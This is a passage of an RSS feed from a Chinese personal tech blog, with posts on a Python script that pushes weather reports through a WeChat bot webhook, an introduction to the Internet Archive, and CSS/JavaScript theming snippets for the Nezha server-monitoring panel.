之后就是访问外网ip地址使用txadmin来配置服务器了可以参考<a href="https://forum.gtaos.com/index.php?threads/fivem%E5%BC%80%E6%9C%8D%E6%95%99%E7%A8%8B-windows%E7%B3%BB%E7%BB%9F-2024-01-31-%E6%9B%B4%E6%96%B0.688/">Cata_a的配置txAdmin教程，我这里就犯懒一下</a></p>
<p>连接linux来修改代码可以使用vscode 的远程连接来访问linux服务器上的文件</p>
<p><a href="https://github.com/RipplePiam/MobaXterm-Chinese-Simplified">本文使用的MobaXterm 简体中文汉化版为github开源版本</a></p>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/Fivem">Fivem</category>
        </item>
        <item>
            <title><![CDATA[青龙面板+wxBotWebhook实现自动推送天气]]></title>
            <link>https://www.casear.net/post/13</link>
            <guid>https://www.casear.net/post/13</guid>
            <pubDate>Mon, 05 May 2025 13:08:54 GMT</pubDate>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <!-- more -->
<p>:::warning{title=&quot;注意&quot;}<br>
https://github.com/danni-cool/wechatbot-webhook</p>
<p>作者已于 2025 年 1 月 10 日存档。现在为只读<br>
:::</p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-comment"># 导入requests库，用于发送HTTP请求</span>
<span class="hljs-keyword">import</span> requests
<span class="hljs-keyword">import</span> json

<span class="hljs-comment"># POST请求的URL，这里假设你有一个本地服务器在192.168.1.133的3001端口上运行，用于接收POST请求</span>
webhook_url = <span class="hljs-string">&#x27;http://192.168.1.133:3001/webhook/msg&#x27;</span>

<span class="hljs-comment"># 定义一个函数，用于发送GET请求获取天气数据</span>
<span class="hljs-keyword">def</span> <span class="hljs-title function_">get_weather_data</span>(<span class="hljs-params">city_code</span>):
    <span class="hljs-comment"># 构建请求URL，其中city_code是城市代码，用于指定要查询的城市</span>
    url = <span class="hljs-string">f&quot;http://t.weather.sojson.com/api/weather/city/<span class="hljs-subst">{city_code}</span>&quot;</span> 
    <span class="hljs-comment"># 发送GET请求</span>
    response = requests.get(url)

    <span class="hljs-comment"># 如果响应状态码不是200（即请求成功），则返回错误信息</span>
    <span class="hljs-keyword">if</span> response.status_code != <span class="hljs-number">200</span>:
        <span class="hljs-keyword">return</span> <span class="hljs-string">f&quot;请求失败，状态码：<span class="hljs-subst">{response.status_code}</span>&quot;</span>

    <span class="hljs-comment"># 尝试解析响应内容为JSON格式</span>
    <span class="hljs-keyword">try</span>:
        weather_data = response.json()
        <span class="hljs-comment"># 提取城市名称</span>
        city_name = weather_data[<span class="hljs-string">&#x27;cityInfo&#x27;</span>][<span class="hljs-string">&#x27;city&#x27;</span>]
        <span class="hljs-comment"># 提取当前温度</span>
        wendu = weather_data[<span class="hljs-string">&#x27;data&#x27;</span>][<span class="hljs-string">&#x27;wendu&#x27;</span>]
        <span class="hljs-comment"># 提取天气状况</span>
        weather_description = weather_data[<span class="hljs-string">&#x27;data&#x27;</span>][<span class="hljs-string">&#x27;forecast&#x27;</span>][<span class="hljs-number">0</span>][<span class="hljs-string">&#x27;type&#x27;</span>]
        <span class="hljs-comment"># 提取空气质量</span>
        quality = weather_data[<span class="hljs-string">&#x27;data&#x27;</span>][<span class="hljs-string">&#x27;quality&#x27;</span>]
        <span class="hljs-comment"># 提取PM2.5和PM10</span>
        pm25 = weather_data[<span class="hljs-string">&#x27;data&#x27;</span>][<span class="hljs-string">&#x27;pm25&#x27;</span>]
        pm10 = weather_data[<span class="hljs-string">&#x27;data&#x27;</span>][<span class="hljs-string">&#x27;pm10&#x27;</span>]
        <span class="hljs-comment"># 提取其他信息</span>
        forecast = weather_data[<span class="hljs-string">&#x27;data&#x27;</span>][<span class="hljs-string">&#x27;forecast&#x27;</span>][<span class="hljs-number">0</span>][<span class="hljs-string">&#x27;notice&#x27;</span>]
        <span class="hljs-comment"># 返回格式化的天气信息字符串</span>
        <span class="hljs-keyword">return</span> <span class="hljs-string">f&quot;天气推送 城市：<span class="hljs-subst">{city_name}</span>\n 当前温度：<span class="hljs-subst">{wendu}</span>℃\n 天气：<span class="hljs-subst">{weather_description}</span>\n 空气质量：<span class="hljs-subst">{quality}</span>\n PM2.5：<span class="hljs-subst">{pm25}</span>\n PM10：<span class="hljs-subst">{pm10}</span>\n 预报：<span class="hljs-subst">{forecast}</span>\n 信息来自中国气象网查询&quot;</span>
    <span class="hljs-keyword">except</span> json.JSONDecodeError <span class="hljs-keyword">as</span> e:
        <span class="hljs-comment"># 如果JSON解析失败，返回错误信息</span>
        <span class="hljs-keyword">return</span> <span class="hljs-string">f&quot;解析JSON失败：<span class="hljs-subst">{e}</span>&quot;</span>

<span class="hljs-comment"># 定义一个函数，用于发送POST请求</span>
<span class="hljs-keyword">def</span> <span class="hljs-title function_">send_post_request</span>(<span class="hljs-params">content, recipient</span>):
    <span class="hljs-comment"># 设置请求头，指定内容类型为JSON</span>
    headers = {
        <span class="hljs-string">&#x27;Content-Type&#x27;</span>: <span class="hljs-string">&#x27;application/json&#x27;</span>
    }
    <span class="hljs-comment"># 构建POST请求的数据，包括接收者、消息类型和内容</span>
    payload = {
        <span class="hljs-string">&quot;to&quot;</span>: recipient,  <span class="hljs-comment"># 使用传入的recipient参数作为接收者</span>
        <span class="hljs-string">&quot;type&quot;</span>: <span class="hljs-string">&quot;text&quot;</span>,
        <span class="hljs-string">&quot;content&quot;</span>: content
    }
    <span class="hljs-comment"># 发送POST请求，并将数据以JSON格式发送</span>
    response = requests.post(webhook_url, headers=headers, data=json.dumps(payload))
    <span class="hljs-comment"># 打印响应状态码</span>
    <span class="hljs-built_in">print</span>(<span class="hljs-string">f&quot;Response status code: <span class="hljs-subst">{response.status_code}</span>&quot;</span>)

<span class="hljs-comment"># 主函数，程序的入口点</span>
<span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">&#x27;__main__&#x27;</span>:
    city_code = <span class="hljs-string">&#x27;101080913&#x27;</span>  <span class="hljs-comment"># 北京的城市代码</span>
    weather_info = get_weather_data(city_code)
    <span class="hljs-comment"># 假设接收者名称为&quot;艾米拉特工&quot;</span>
    recipients = [<span class="hljs-string">&quot;demo01&quot;</span>, <span class="hljs-string">&quot;demo02&quot;</span>, <span class="hljs-string">&quot;demo03&quot;</span>]
    <span class="hljs-keyword">for</span> recipient <span class="hljs-keyword">in</span> recipients:
        <span class="hljs-comment"># 发送消息给当前的接收者</span>
        send_post_request(weather_info, recipient)
</code></pre>
<h1>1. 导入模块：</h1>
<p><code>requests</code>：用于发送HTTP请求。<br><br>
<code>json</code>：用于处理JSON数据。<br></p>
<h1>2. 定义<code>Webhook URL</code>：</h1>
<p><code>webhook_url</code>：这是你的<code>Webhook</code>服务的<code>UR</code>L，用于接收<code>POST</code>请求。在这个例子中，它指向本地网络的IP地址<code>192.168.1.133</code>上的端口<code>3001</code>。<br></p>
<h1>3. 定义获取天气数据的函数 <code>get_weather_data(city_code)</code>：</h1>
<p>这个函数接受一个参数<code>city_code</code>，这是城市的天气代码。<br><br>
使用<code>requests.get</code>发送<code>GET</code>请求到<code>API URL</code>，该<code>URL</code>包含了城市代码。<br><br>
检查<code>HTTP</code>响应的状态码，如果请求失败，返回错误信息。<br><br>
解析<code>JSON</code>响应数据，提取城市名称、当前温度、天气状况、空气质量、<code>PM2.5</code>和<code>PM10</code>值，以及预报通知。<br></p>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code><span class="hljs-keyword">return</span> <span class="hljs-string">f&quot;天气推送 城市：<span class="hljs-subst">{city_name}</span>, 当前温度：<span class="hljs-subst">{wendu}</span>℃, 天气：<span class="hljs-subst">{weather_description}</span>, 空气质量：<span class="hljs-subst">{quality}</span>, PM2.5：<span class="hljs-subst">{pm25}</span>, PM10：<span class="hljs-subst">{pm10}</span>, 预报：<span class="hljs-subst">{forecast}</span> 信息来自中国气象网查询&quot;</span>
</code></pre>
<p>可以自定义<code>return f</code>内的字符，实现自定义消息文本的效果<br><br>
如果解析<code>JSON</code>时出现错误，捕获<code>json.JSONDecodeError</code>并返回错误信息。<br><br>
返回一个包含所有提取信息的字符串。<br></p>
<h1>4. 定义发送POST请求的函数 <code>send_post_request(content)</code>：</h1>
<p>设置请求头，指定内容类型为<code>pplication/json</code>。<br><br>
创建一个包含接收者标识、消息类型和内容的字典<code>payload</code>。<br><br>
使用<code>requests.post</code>发送<code>POST</code>请求到<code>Webhook URL</code>，传递<code>payload</code>作为<code>JSON</code>数据。<br><br>
打印Webhook服务的响应状态码。</p>
<h1>5. 主函数：</h1>
<p>设置城市代码<code>city_code</code>为<code>01010100</code>，这是北京的城市代码。<br><br>
调用<code>get_weather_data</code>函数获取天气信息。<br><br>
使用一个列表储存接收者的名称,再使用<code>for</code>循环遍历列表，实现给多个接收者发生的功能<br><br>
调用<code>send_post_request</code>函数将天气信息发送到<code>Webhook</code>。<br></p>
<h1>6. 查询自己城市的代码</h1>
<blockquote>
<p>其中01010100是城市的代码，获得城市代码进入：<br>
http://www.weather.com.cn<br><br>
在搜索框上输入你要需要获得天气的城市，点击查询，即可在地址栏获得相应城市编号，然后替换：<br>
http://m.weather.com.cn/data/01010100.html</p>
</blockquote>
<h1>7. 推送效果</h1>
<p><img src="https://casear.net/static/img/85adcc958f8b6939a41262b5f386bdb2.image.webp" alt="image.png"></p>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/Python">Python</category>
        </item>
        <item>
            <title><![CDATA[互联网档案计划（Internet Archive）]]></title>
            <link>https://www.casear.net/post/12</link>
            <guid>https://www.casear.net/post/12</guid>
            <pubDate>Sun, 19 May 2024 14:13:44 GMT</pubDate>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <!-- more -->
<h1>介绍一下这个非常非常重要和有用的&quot;互联网档案计划&quot;。</h1>
<blockquote>
<p>就像它的名字一样，这个计划的目的就是为互联网保存一份档案。在它的网站上，它这样介绍自己：</p>
<p>Most societies place importance on preserving artifacts of their culture and heritage. Without such artifacts, civilization has no memory and no mechanism to learn from its successes and failures. Our culture now produces more and more artifacts in digital form. The Archive's mission is to help preserve those artifacts and create an Internet library for researchers, historians, and scholars. The Archive collaborates with institutions including the Library of Congress and the Smithsonian.</p>
</blockquote>
<p>大多数社会都非常重视保护文化遗存。如果没有这些遗存，那么人类就将失去记忆，无法从过去的经历获得启示。如今，越来越多的文化遗存以数字格式出现。&quot;互联网档案计划&quot;的使命就是保护这些数字遗存，为人类创造一个互联网图书馆。我们的合作单位包括国会图书馆和史密森学会。</p>
<h2>都说互联网是有记忆的，弥补人类记忆的短暂。</h2>
<p>你有没有想过，很多年前你曾浏览过的网站或某个网页，如今，即使那个网站已经倒闭，页面已经删除，或者，你访问某个网页，页面上显示一个大大的404 --- 因为某种原因页面已经被管理员删除了。</p>
<p>现在，凭着你的记忆，你还可以将它回来，继续浏览。</p>
<p>archive.org 就是这样的一家机构，靠捐款在运营的一家公益组织。</p>
<p><img src="https://casear.net/static/img/027596006b1bc8e5c9cea452160fbd8b.image.webp" alt="image.png"></p>
<p>他们在首页上这样介绍自己：</p>
<blockquote>
<p>Internet Archive is a non-profit library of millions of free books, movies, software, music, websites, and more.<br>
Internet档案馆是一个非营利性图书馆，包含数百万本免费书籍，电影，软件，音乐，网站等。</p>
</blockquote>
<p>保存网站只是他们是他们的功能的一部分。 你可以上找面找到无数在中文互联网上已经失传的书籍，短片 ，论文资料。甚至应用程序</p>
<p>这个服务，很酷的是，到目前为止，它已经保存了8630 亿个网页（截止2024年1月）</p>
<p>在保存内容有：</p>
<ul>
<li>8630 亿个网页</li>
<li>4100 万册书籍</li>
<li>文本1470万 录音（包括240,000场现场音乐会）</li>
<li>840 万个视频（包括 240 万个电视新闻节目）</li>
<li>440 万张图像</li>
<li>890,000 个软件程序</li>
</ul>
<p>主要特色是其能够以多个时间点快照的方式保存网页。你可以在不同时间点查看特定网页的旧版本，了解在过去某一时刻该网页的内容和布局。时光机：用户可以输入一个网址，然后选择特定日期，以查看在那一天的网页样貌。网页保存：互联网档案馆定期抓取互联网上的网页，将其存档以备将来查看。多媒体资源：除了网页，互联网档案馆还保存了许多其他类型的数字内容，如音频、视频、图像等。文献馆藏：互联网档案馆包含了数百万份数字化的书籍、期刊、音乐和影片等文献。研究资源：研究人员可以使用互联网档案馆的内容进行学术研究，了解互联网发展的历史，也可以访问以前的网络内容以进行比较研究。免费访问：大部分互联网档案馆的内容都是免费提供的，任何人都可以访问。</p>
<p>目前，&quot;互联网档案计划&quot;分为六大部分：</p>
<h1>一、电子书</h1>
<p>网址：http://www.archive.org/details/texts</p>
<p>这个部分，我以前已经介绍过了，它专门收集公共领域的书籍和文档，任何人都可以免费下载。截至到今天，共有29万多种材料，堪称互联网上最好的公共领域图书搜索引擎。</p>
<p>它主要收集英语书籍，但也包括少部分其他语种的书籍，比如朱熹的《论语集注》。</p>
<h1>二、网页</h1>
<p>网址：http://www.archive.org/web/web.php</p>
<p>这个部分有个专门的名字，叫做&quot;时光倒流机器&quot;（Wayback Machine），它像收集旧报纸那样收集旧网页。举例来说，Yahoo!的首页就有5000多份档案，最早的可以回溯到1996年10月17日，最近的则是2007年8月30日。</p>
<p>要将全世界的网页都保存下来，这需要多大的存储容量啊？根据2006年的统计，当时Wayback Machine的存储容量有2000T，然后还在以每月20T的速度增加。</p>
<h1>三、视频</h1>
<p>网址：http://www.archive.org/details/movies</p>
<p>这个部分收集视频材料，你在其中可以找到动画片和电影。我感觉内容还不算很丰富，不过在其中经常可以找到有趣的内容，比如《如果抵御僵尸的袭击？》和1951年的好莱坞喜剧片《皇家婚礼》。</p>
<h1>四、音频</h1>
<p>网址：http://www.archive.org/details/audio</p>
<p>音频材料主要是有声书籍和音乐。比如，你可以免费下载世界名著《简爱》的MP3，以及巴赫的《 C小調第4奏鸣曲》等等。</p>
<h1>五、软件</h1>
<p>网址：http://www.archive.org/details/software</p>
<p>软件也是人类文化的一部分，保存旧软件同保存旧书一样，都是很有意义的。我在上面发现了Photoshop 6.0的DEMO版和Winamp 5.0。</p>
<h1>六、教育材料</h1>
<p>网址：http://www.archive.org/details/arsdigita</p>
<p>这部分主要是美国大学课程，有视频和文字材料下载，相当于不去北美就可以上那里的课，比如麻省理工学院的《微分方程》和Naropa大学的《艾伦·金斯堡的诗歌》。</p>
<!-- more -->
</div>]]></content:encoded>
            <author>casearx@foxmail.com (Casear)</author>
            <category domain="https://www.casear.net//category/分享">分享</category>
        </item>
        <item>
            <title><![CDATA[NEZHA监控面板美化]]></title>
            <link>https://www.casear.net/post/11</link>
            <guid>https://www.casear.net/post/11</guid>
            <pubDate>Sun, 19 May 2024 14:13:22 GMT</pubDate>
            <description><![CDATA[<p><img src="https://casear.net/static/img/4b3056ceb21abac9855becabd0c61c4a.image.webp" alt="image.png"></p>
]]></description>
            <content:encoded><![CDATA[<div class="markdown-body rss">
      <link rel="stylesheet" href="https://www.casear.net/markdown.css">
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/KaTeX/0.5.1/katex.min.css">
      <link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/highlightjs/cdn-release@11.6.0/build/styles/default.min.css">
      <p><img src="https://casear.net/static/img/4b3056ceb21abac9855becabd0c61c4a.image.webp" alt="image.png"></p>
<!-- more -->
<p>使用方法</p>
<p><img src="https://casear.net/static/img/96a1e804cc4cefd62c4b7206c123701b.image.webp" alt="image.png"><br>
前后台主题设为默认，然后将下面的自定义代码粘贴进去即可</p>
<h1>替换默认首页LOGO和底部版权</h1>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>&lt;!--<span class="hljs-title class_">Logo</span>和版权--&gt;
<span class="language-xml"><span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="language-javascript">
<span class="hljs-variable language_">window</span>.<span class="hljs-property">onload</span> = <span class="hljs-keyword">function</span>(<span class="hljs-params"></span>){
<span class="hljs-keyword">var</span> avatar=<span class="hljs-variable language_">document</span>.<span class="hljs-title function_">querySelector</span>(<span class="hljs-string">&quot;.item img&quot;</span>)
<span class="hljs-keyword">var</span> footer=<span class="hljs-variable language_">document</span>.<span class="hljs-title function_">querySelector</span>(<span class="hljs-string">&quot;div.is-size-7&quot;</span>)
footer.<span class="hljs-property">innerHTML</span>=<span class="hljs-string">&quot;奶妈监控面板 and 我扒的CSS&quot;</span>
footer.<span class="hljs-property">style</span>.<span class="hljs-property">visibility</span>=<span class="hljs-string">&quot;visible&quot;</span>
avatar.<span class="hljs-property">src</span>=<span class="hljs-string">&quot;https://ii.do/favicon.ico&quot;</span>
avatar.<span class="hljs-property">style</span>.<span class="hljs-property">visibility</span>=<span class="hljs-string">&quot;visible&quot;</span>
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span></span>
</code></pre>
<h1>替换默认Favicon</h1>
<pre class="hljs" style="background: #f3f3f3; padding: 8px;><code>&lt;script&gt;
<span class="hljs-keyword">var</span> faviconurl=<span class="hljs-string">&quot;//img14.360buyimg.com/ddimg/jfs/t1/162473/22/23012/3692/6184b06aEa95a0194/8c51cebbd04b95b2.png&quot;</span>;
<span class="hljs-keyword">var</span> link = <span class="hljs-variable language_">document</span>.<span class="hljs-title function_">querySelector</span>(<span class="hljs-string">&quot;link[rel*=&#x27;icon&#x27;]&quot;</span>) || <span class="hljs-variable language_">document</span>.<span class="hljs-title function_">createElement</span>(<span class="hljs-string">&#x27;link&#x27;</span>);
link.<span class="hljs-property">type</span> = <span class="hljs-string">&#x27;image/png&#x27;</span>;
link.<span class="hljs-property">rel</span> = <span class="hljs-string">&#x27;shortcut icon&#x27;</span>;
link.<span class="hljs-property">href</span> = faviconurl;
<span class="hljs-variable language_">document</span>.<span class="hljs-title function_">getElementsByTagName</span>(<span class="hljs-string">&#x27;head&#x27;</span>)[<span class="hljs-number">0</span>].<span class="hljs-title function_">appendChild</span>(link);
&lt;/script&gt;
</code></pre>
<h1>1. 背景图片使用本站图床，半透明样式</h1>
<p><img src="https://casear.net/static/img/4b3056ceb21abac9855becabd0c61c4a.image.webp" alt="image.png"></p>
<pre><code class="language-code">
        &lt;style&gt;
        /* 屏幕适配 */
        @media only screen and (min-width: 1200px) {
            .ui.container {
                width: 80% !important;
            }
        }

        @media only screen and (max-width: 767px) {

            .ui.card&gt;.content&gt;.header:not(.ui),
            .ui.cards&gt;.card&gt;.content&gt;.header:not(.ui) {
                margin-top: 0.4em !important;
            }
        }

        /* 整体图标 */
        i.icon {
            color: #000;
            width: 1.2em !important;
        }

        /* 背景图片 */
        body {
            content: &quot; &quot; !important;
            background: fixed !important;
            z-index: -1 !important;
            top: 0 !important;
            right: 0 !important;
            bottom: 0 !important;
            left: 0 !important;
            background-position: top !important;
            background-repeat: no-repeat !important;
            background-size: cover !important;
            background-image: url(https://casear.net/static/img/fa1f4b9fc76ea529bc74364284519d01.bz5.webp) !important;
            font-family: Arial, Helvetica, sans-serif !important;
        }

        /* 导航栏 */
        .ui.large.menu {
            border: 0 !important;
            border-radius: 0px !important;
            background-color: rgba(255, 255, 255, 55%) !important;
        }

        /* 首页按钮 */
        .ui.menu .active.item {
            background-color: transparent !important;
        }

        /* 导航栏下拉框 */
        .ui.dropdown .menu {
            border: 0 !important;
            border-radius: 0 !important;
            background-color: rgba(255, 255, 255, 80%) !important;
        }

        /* 登陆按钮 */
        .nezha-primary-btn {
            background-color: transparent !important;
            color: #000 !important;
        }

        /* 大卡片 */
        #app .ui.fluid.accordion {
            background-color: #fbfbfb26 !important;
            border-radius: 0.4rem !important;
        }

        /* 小卡片 */
        .ui.four.cards&gt;.card {
            border-radius: 0.6rem !important;
            background-color: #fafafaa3 !important;
        }

        .status.cards .wide.column {
            padding-top: 0 !important;
            padding-bottom: 0 !important;
            height: 3.3rem !important;
        }

        .status.cards .three.wide.column {
            padding-right: 0rem !important;
        }

        .status.cards .wide.column:nth-child(1) {
            margin-top: 2rem !important;
        }

        .status.cards .wide.column:nth-child(2) {
            margin-top: 2rem !important;
        }

        .status.cards .description {
            padding-bottom: 0 !important;
        }

        /* 小鸡名 */
        .status.cards .flag {
            margin-right: 0.5rem !important;
        }

        /* 弹出卡片图标 */
        .status.cards .header&gt;.info.icon {
            margin-right: 0 !important;
        }

        .nezha-secondary-font {
            color: #21c3cf !important;
        }

        /* 进度条 */
        .ui.progress {
            border-radius: 50rem !important;
        }

        .ui.progress .bar {
            min-width: 1.8em !important;
            border-radius: 15px !important;
            line-height: 1.65em !important;
        }

        .ui.fine.progress&gt;.bar {
            background-color: #21c3cf !important;
        }

        .ui.progress&gt;.bar {
            background-color: #000 !important;
        }

        .ui.progress.fine .bar {
            background-color: #21c3cf !important;
        }

        .ui.progress.warning .bar {
            background-color: #ff9800 !important;
        }

        .ui.progress.error .bar {
            background-color: #e41e10 !important;
        }

        .ui.progress.offline .bar {
            background-color: #000 !important;
        }

        /* 上传下载 */
        .status.cards .outline.icon {
            margin-right: 1px !important;
        }

        i.arrow.alternate.circle.down.outline.icon {
            color: #21c3cf !important;
        }

        i.arrow.alternate.circle.up.outline.icon {
            color: red !important;
        }

        /* 弹出卡片小箭头 */
        .ui.right.center.popup {
            margin: -3px 0 0 0.914286em !important;
            -webkit-transform-origin: left 50% !important;
            transform-origin: left 50% !important;
        }

        .ui.bottom.left.popup {
            margin-left: 1px !important;
            margin-top: 3px !important;
        }

        .ui.top.left.popup {
            margin-left: 0 !important;
            margin-bottom: 10px !important;
        }

        .ui.top.right.popup {
            margin-right: 0 !important;
            margin-bottom: 8px !important;
        }

        .ui.left.center.popup {
            margin: -3px .91428571em 0 0 !important;
            -webkit-transform-origin: right 50% !important;
            transform-origin: right 50% !important;
        }

        .ui.right.center.popup:before,
        .ui.left.center.popup:before {
            border: 0px solid #fafafaeb !important;
            background: #fafafaeb !important;
        }

        .ui.top.popup:before {
            border-color: #fafafaeb transparent transparent !important;
        }

        .ui.popup:before {
            border-color: #fafafaeb transparent transparent !important;
        }

        .ui.bottom.left.popup:before {
            border-radius: 0 !important;
            border: 1px solid transparent !important;
            border-color: #fafafaeb transparent transparent !important;
            background: #fafafaeb !important;
            -webkit-box-shadow: 0px 0px 0 0 #fafafaeb !important;
            box-shadow: 0px 0px 0 0 #fafafaeb !important;
            -webkit-tap-highlight-color: rgba(0, 0, 0, 0) !important;
        }

        .ui.bottom.right.popup:before {
            border-radius: 0 !important;
            border: 1px solid transparent !important;
            border-color: #fafafaeb transparent transparent !important;
            background: #fafafaeb !important -webkit-box-shadow: 0px 0px 0 0 #fafafaeb !important;
            box-shadow: 0px 0px 0 0 #fafafaeb !important;
            -webkit-tap-highlight-color: rgba(0, 0, 0, 0) !important;
        }

        .ui.top.left.popup:before {
            border-radius: 0 !important;
            border: 1px solid transparent !important;
            border-color: #fafafaeb transparent transparent !important;
            background: #fafafaeb !important;
            -webkit-box-shadow: 0px 0px 0 0 #fafafaeb !important;
            box-shadow: 0px 0px 0 0 #fafafaeb !important;
            -webkit-tap-highlight-color: rgba(0, 0, 0, 0) !important;
        }

        .ui.top.right.popup:before {
            border-radius: 0 !important;
            border: 1px solid transparent !important;
            border-color: #fafafaeb transparent transparent !important;
            background: #fafafaeb !important;
            -webkit-box-shadow: 0px 0px 0 0 #fafafaeb !important;
            box-shadow: 0px 0px 0 0 #fafafaeb !important;
            -webkit-tap-highlight-color: rgba(0, 0, 0, 0) !important;
        }

        .ui.left.center.popup:before {
            border-radius: 0 !important;
            border: 1px solid transparent !important;
            border-color: #fafafaeb transparent transparent !important;
            background: #fafafaeb !important;
            -webkit-box-shadow: 0px 0px 0 0 #fafafaeb !important;
            box-shadow: 0px 0px 0 0 #fafafaeb !important;
            -webkit-tap-highlight-color: rgba(0, 0, 0, 0) !important;
        }

        /* 弹出卡片 */
        .status.cards .ui.content.popup {
            min-width: 20rem !important;
            line-height: 2rem !important;
            border-radius: 5px !important;
            border: 1px solid transparent !important;
            background-color: #fafafaeb !important;
            font-family: Arial, Helvetica, sans-serif !important;
        }

        .ui.content {
            margin: 0 !important;
            padding: 1em !important;
        }

        /* 服务页 */
        .ui.table {
            background: RGB(225, 225, 225, 0.6) !important;
        }

        .ui.table thead th {
            background: transparent !important;
        }

        /* 服务页进度条 */
        .service-status .good {
            background-color: #21ba45 !important;
        }

        .service-status .danger {
            background-color: red !important;
        }

        .service-status .warning {
            background-color: orange !important;
        }

        /* 版权 */
        .ui.inverted.segment,
        .ui.primary.inverted.segment {
            color: #000 !important;
            font-weight: bold !important;
            background-color: #fafafaa3 !important;
        }

        &lt;/style&gt;&lt;script&gt;window.onload=function() {
            var avatar=document.querySelector(&quot;.item img&quot;) var footer=document.querySelector(&quot;div.is-size-7&quot;) footer.style.visibility=&quot;visible&quot;
            avatar.src=&quot;https://casear.net/static/img/f26eee3d0f6a05778ad6469e888a9e8b.touxiang.webp&quot;
            avatar.style.visibility=&quot;visible&quot;
        }

        var faviconurl=&quot;https://ii.do/favicon.ico&quot;;
        var link=document.querySelector(&quot;link[rel*='icon']&quot;) || document.createElement('link');
        link.type='image/x-icon';
        link.rel='shortcut icon';
        link.href=faviconurl;
        document.getElementsByTagName('head')[0].appendChild(link);
        &lt;/script&gt;
</code></pre>
<h1>2. 半透明风格（右上角详情页有轻微bug）</h1>
<p><img src="https://casear.net/static/img/c44f40c15db772f3507b5a50d8c27edb.image.webp" alt="image.png"></p>
<pre><code class="language-code">
    &lt;style&gt;

    @font-face {
        font-family: Bold;
        src: url(&quot;https://www.kindyear.cn/cdn/custom/fonts/bold.otf&quot;);
    }
    /* 屏幕适配 */
    @media only screen and (min-width: 1200px) {
        .ui.container {
            width: 80% !important;
        }
    }

    @media only screen and (max-width: 767px) {
        .ui.card&gt;.content&gt;.header:not(.ui), .ui.cards&gt;.card&gt;.content&gt;.header:not(.ui) {
            margin-top: 0.4em !important;
        }
    }

    /* 整体图标 */
    i.icon {
        color: #000;
        width: 1.2em !important;
    }

    /* 背景图片 */
    html{
        font-family: Bold;
    }
    body {
        content: &quot; &quot; !important;
        background: fixed !important;
        z-index: -1 !important;
        top: 0 !important;
        right: 0 !important;
        bottom: 0 !important;
        left: 0 !important;
        background-position: top !important;
        background-repeat: no-repeat !important;
        background-size: cover !important;
        background-image: url(https://img.kindyear.cn/images/2022/06/13/5.jpg) !important;
        font-family: Bold !important;

    }

    /* 导航栏 */
    .ui.large.menu {
        border: 0 !important;
        border-radius: 0px !important;
        background-color: rgba(255, 255, 255, 55%) !important;
        backdrop-filter: blur(10px);
        -webkit-backdrop-filter: blur(10px);
    }

    /* 首页按钮 */
    .ui.menu .active.item {
        background-color: transparent !important;
    }

    /* 导航栏下拉框 */
    .ui.dropdown .menu {
        border: 0 !important;
        border-radius: 0 !important;
        background-color: rgba(255, 255, 255, 80%) !important;
    }

    /* 登陆按钮 */
    .nezha-primary-btn {
        background-color: transparent !important;
        color: #000 !important;
    }

    /* 大卡片 */
    #app .ui.fluid.accordion {
        background-color: #fbfbfb26 !important;
        border-radius: 1rem !important;
    }

    /* 小卡片 */
    .ui.four.cards&gt;.card {
        border-radius: 1rem !important;
        background-color: #fafafa55 !important;
        border: 0 !important;
        backdrop-filter: blur(10px) !important;
        -webkit-backdrop-filter: blur(10px) !important;
    }

    .status.cards .wide.column {
        padding-top: 0 !important;
        padding-bottom: 0 !important;
        height: 3.3rem !important;
    }

    .status.cards .three.wide.column {
        padding-right: 0rem !important;
    }

    .status.cards .wide.column:nth-child(1) {
        margin-top: 2rem !important;
    }

    .status.cards .wide.column:nth-child(2) {
        margin-top: 2rem !important;
    }

    .status.cards .description {
        padding-bottom: 0 !important;
    }

    /* 小鸡名 */
    .status.cards .flag {
        margin-right: 0.5rem !important;
    }

    /* 弹出卡片图标 */
    .status.cards .header &gt; .info.icon {
        margin-right: 0 !important;
    }

    .nezha-secondary-font {
        color: #21ba45 !important;
    }

    /* 进度条 */
    .ui.progress {
        border-radius: 50rem !important;
    }

    .ui.progress .bar {
        min-width: 1.8em !important;
        border-radius: 15px !important;
        line-height: 1.65em !important;
    }

    .ui.fine.progress&gt; .bar {
        background-color: #21ba45 !important;
    }

    .ui.progress&gt; .bar {
        background-color: #000 !important;
    }

    .ui.progress.fine .bar {
        background-color: #21ba45 !important;
    }

    .ui.progress.warning .bar {
        background-color: #ff9800 !important;
    }

    .ui.progress.error .bar {
        background-color: #e41e10 !important;
    }

    .ui.progress.offline .bar {
        background-color: #000 !important;
    }

    /* 上传下载 */
    .status.cards .outline.icon {
        margin-right: 1px !important;
    }

    i.arrow.alternate.circle.down.outline.icon {
        color: #21ba45 !important;
    }

    i.arrow.alternate.circle.up.outline.icon {
        color: red !important;
    }

    /* 弹出卡片小箭头 */
    .ui.right.center.popup {
        margin: -3px 0 0 0.914286em !important;
        -webkit-transform-origin: left 50% !important;
        transform-origin: left 50% !important;

    }

    .ui.bottom.left.popup {
        margin-left: 1px !important;
        margin-top: 3px !important;
    }

    .ui.top.left.popup {
        margin-left: 0 !important;
        margin-bottom: 10px !important;
    }

    .ui.top.right.popup {
        margin-right: 0 !important;
        margin-bottom: 8px !important;
    }

    .ui.left.center.popup {
